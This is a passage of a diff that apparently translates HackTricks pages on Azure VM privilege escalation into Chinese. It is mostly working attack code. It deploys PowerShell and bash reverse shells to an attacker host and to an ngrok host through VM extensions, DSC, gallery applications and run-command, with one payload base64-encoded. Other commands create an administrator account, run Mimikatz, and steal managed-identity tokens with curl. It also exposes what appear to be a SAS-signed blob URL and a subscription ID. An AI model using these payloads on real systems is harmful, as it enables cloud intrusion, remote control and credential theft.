cwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
|
||||
- Execute reverse shell from file
|
||||
|
||||
- 从文件执行反向 shell
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
```
|
||||
您还可以执行其他有效负载,例如: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Reset password using the VMAccess extension
|
||||
|
||||
- 使用 VMAccess 扩展重置密码
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
It's also possible to abuse well-known extensions to execute code or perform privileged actions inside the VMs:
|
||||
还可以滥用众所周知的扩展在虚拟机内执行代码或执行特权操作:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VMAccess extension</summary>
|
||||
|
||||
This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
|
||||
<summary>VMAccess 扩展</summary>
|
||||
|
||||
此扩展允许修改 Windows 虚拟机内用户的密码(或在不存在时创建)。
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:
|
||||
|
||||
这是一个属于微软的**VM扩展**,使用PowerShell DSC来管理Azure Windows虚拟机的配置。因此,它可以通过此扩展在Windows虚拟机中**执行任意命令**:
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
}
|
||||
RevShellConfig -OutputPath .\Output
|
||||
|
||||
@@ -148,95 +135,91 @@ RevShellConfig -OutputPath .\Output
|
||||
$resourceGroup = 'dscVmDemo'
|
||||
$storageName = 'demostorage'
|
||||
Publish-AzVMDscConfiguration `
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
|
||||
# Apply DSC to VM and execute rev shell
|
||||
$vmName = 'myVM'
|
||||
Set-AzVMDscExtension `
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
<summary>混合运行簿工作者</summary>
|
||||
|
||||
This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-services/az-automation-account/).
|
||||
这是一个虚拟机扩展,允许从自动化帐户在虚拟机中执行运行簿。有关更多信息,请查看[自动化帐户服务](../az-services/az-automation-account/)。
|
||||
|
||||
</details>
|
||||
|
||||
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
|
||||
|
||||
These are the required permissions to **create a new gallery application and execute it inside a VM**. Gallery applications can execute anything so an attacker could abuse this to compromise VM instances executing arbitrary commands.
|
||||
这些是**创建新的画廊应用程序并在虚拟机中执行它**所需的权限。画廊应用程序可以执行任何操作,因此攻击者可以利用这一点来妥协执行任意命令的虚拟机实例。
|
||||
|
||||
The last 2 permissions might be avoided by sharing the application with the tenant.
|
||||
最后两个权限可以通过与租户共享应用程序来避免。
|
||||
|
||||
Exploitation example to execute arbitrary commands:
|
||||
利用示例以执行任意命令:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group myResourceGroup \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
|
||||
# Create app version with the rev shell
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group <rsc-group> \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
@@ -245,59 +228,55 @@ echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",1
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/runCommand/action`
|
||||
|
||||
This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs:**
|
||||
这是 Azure 提供的最基本机制,用于 **在虚拟机中执行任意命令:**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Execute rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
|
||||
# revshell.sh file content
|
||||
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
|
||||
# Execute a rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
|
||||
## Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
@@ -314,62 +293,57 @@ echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
|
||||
Import-module MicroBurst.psm1
|
||||
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/login/action`
|
||||
|
||||
This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM).
|
||||
此权限允许用户通过 **SSH 或 RDP 登录到 VM**(只要在 VM 中启用了 Entra ID 身份验证)。
|
||||
|
||||
Login via **SSH** with **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** and via **RDP** with your **regular Azure credentials**.
|
||||
通过 **SSH** 使用 **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** 登录,通过 **RDP** 使用您的 **常规 Azure 凭据** 登录。
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
|
||||
|
||||
This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM).
|
||||
此权限允许用户通过 **SSH 或 RDP 登录到 VM**(只要在 VM 中启用了 Entra ID 身份验证)。
|
||||
|
||||
Login via **SSH** with **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** and via **RDP** with your **regular Azure credentials**.
|
||||
通过 **SSH** 使用 **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** 登录,通过 **RDP** 使用您的 **常规 Azure 凭据** 登录。
|
||||
|
||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
All those are the necessary permissions to **create a VM with a specific managed identity** and leaving a **port open** (22 in this case). This allows a user to create a VM and connect to it and **steal managed identity tokens** to escalate privileges to it.
|
||||
|
||||
Depending on the situation more or less permissions might be needed to abuse this technique.
|
||||
所有这些都是 **创建具有特定托管身份的 VM** 并保持 **端口开放**(在这种情况下为 22)所需的权限。这允许用户创建 VM 并连接到它,并 **窃取托管身份令牌** 以提升权限。
|
||||
|
||||
根据情况,可能需要更多或更少的权限来滥用此技术。
|
||||
```bash
|
||||
az vm create \
|
||||
--resource-group Resource_Group_1 \
|
||||
--name cli_vm \
|
||||
--image Ubuntu2204 \
|
||||
--admin-username azureuser \
|
||||
--generate-ssh-keys \
|
||||
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
|
||||
--nsg-rule ssh \
|
||||
--location "centralus"
|
||||
--resource-group Resource_Group_1 \
|
||||
--name cli_vm \
|
||||
--image Ubuntu2204 \
|
||||
--admin-username azureuser \
|
||||
--generate-ssh-keys \
|
||||
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
|
||||
--nsg-rule ssh \
|
||||
--location "centralus"
|
||||
# By default pub key from ~/.ssh is used (if none, it's generated there)
|
||||
```
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Those permissions are enough to **assign new managed identities to a VM**. Note that a VM can have several managed identities. It can have the **system assigned one**, and **many user managed identities**.\
|
||||
Then, from the metadata service it's possible to generate tokens for each one.
|
||||
|
||||
这些权限足以**将新的托管身份分配给虚拟机**。请注意,虚拟机可以有多个托管身份。它可以有**系统分配的身份**和**多个用户管理的身份**。\
|
||||
然后,从元数据服务可以为每个身份生成令牌。
|
||||
```bash
|
||||
# Get currently assigned managed identities to the VM
|
||||
az vm identity show \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
|
||||
# Assign several managed identities to a VM
|
||||
az vm identity assign \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--identities \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--identities \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
|
||||
```
|
||||
|
||||
Then the attacker needs to have **compromised somehow the VM** to steal tokens from the assigned managed identities. Check **more info in**:
|
||||
然后攻击者需要**以某种方式攻陷虚拟机**以窃取分配的托管身份的令牌。查看**更多信息**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
@@ -377,10 +351,6 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
|
||||
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
||||
|
||||
According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), this permission lets you manage the OS of your resource via Windows Admin Center as an administrator. So it looks like this gives access to the WAC to control the VMs...
|
||||
根据[**文档**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute),此权限允许您通过Windows Admin Center以管理员身份管理资源的操作系统。因此,这似乎允许访问WAC以控制虚拟机...
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,26 +4,25 @@
|
||||
|
||||
## Portals
|
||||
|
||||
You can find the list of **Microsoft portals in** [**https://msportals.io/**](https://msportals.io/)
|
||||
您可以在 [**https://msportals.io/**](https://msportals.io/) 找到 **Microsoft 门户的列表**。
|
||||
|
||||
### Raw requests
|
||||
|
||||
#### Azure API via Powershell
|
||||
#### 通过 Powershell 访问 Azure API
|
||||
|
||||
Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
|
||||
|
||||
Then query the Azure REST API to get the **subscription ID** and more .
|
||||
从 **IDENTITY_HEADER** 和 **IDENTITY_ENDPOINT** 获取 **access_token**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`。
|
||||
|
||||
然后查询 Azure REST API 以获取 **subscription ID** 和更多信息。
|
||||
```powershell
|
||||
$Token = 'eyJ0eX..'
|
||||
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
|
||||
# $URI = 'https://graph.microsoft.com/v1.0/applications'
|
||||
$RequestParams = @{
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
}
|
||||
(Invoke-RestMethod @RequestParams).value
|
||||
|
||||
@@ -31,9 +30,7 @@ $RequestParams = @{
|
||||
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
|
||||
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
|
||||
```
|
||||
|
||||
#### Azure API via Python Version
|
||||
|
||||
#### Azure API via Python 版本
|
||||
```python
|
||||
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
|
||||
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
|
||||
@@ -50,28 +47,21 @@ val = os.popen(cmd).read()
|
||||
print(json.loads(val)["access_token"])
|
||||
print("ClientID/AccountID: "+json.loads(val)["client_id"])
|
||||
```
|
||||
|
||||
or inside a Python Function:
|
||||
|
||||
或在 Python 函数内部:
|
||||
```python
|
||||
import logging, os
|
||||
import azure.functions as func
|
||||
|
||||
def main(req: func.HttpRequest) -> func.HttpResponse:
|
||||
logging.info('Python HTTP trigger function processed a request.')
|
||||
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
|
||||
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
|
||||
cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
|
||||
val = os.popen(cmd).read()
|
||||
return func.HttpResponse(val, status_code=200)
|
||||
logging.info('Python HTTP trigger function processed a request.')
|
||||
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
|
||||
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
|
||||
cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
|
||||
val = os.popen(cmd).read()
|
||||
return func.HttpResponse(val, status_code=200)
|
||||
```
|
||||
## 服务列表
|
||||
|
||||
## List of Services
|
||||
|
||||
**The pages of this section are ordered by Azure service. In there you will be able to find information about the service (how it works and capabilities) and also how to enumerate each service.**
|
||||
**本节的页面按 Azure 服务排序。在这里,您将能够找到有关该服务的信息(如何工作和功能),以及如何枚举每个服务。**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
